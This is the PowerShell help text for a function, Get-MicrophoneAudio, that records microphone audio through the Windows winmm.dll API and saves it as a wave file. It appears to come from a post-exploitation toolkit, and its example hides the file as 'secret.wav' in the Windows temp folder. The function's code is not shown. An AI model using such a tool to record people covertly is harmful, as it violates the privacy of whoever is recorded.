.DESCRIPTION
Get-MicrophoneAudio utilizes the Windows API from winmm.dll to record audio from the microphone and saves the wave file to disk.

.OUTPUTS
Outputs the FileInfo object pointing to the recording which has been saved to disk.

.PARAMETER Path
The location to save the audio

.PARAMETER Length
The length of the audio to record in seconds. Default: 30

.PARAMETER Alias
The alias to use for the WinMM recording. Default: Random 10 Chars

.EXAMPLE
Get-MicrophoneAudio -Path c:\windows\temp\secret.wav -Length 10 -Alias "SECRET"
Description
-----------
Records 10 seconds of audio to the path C:\windows\temp\secret.wav using WinMM alias "secret"
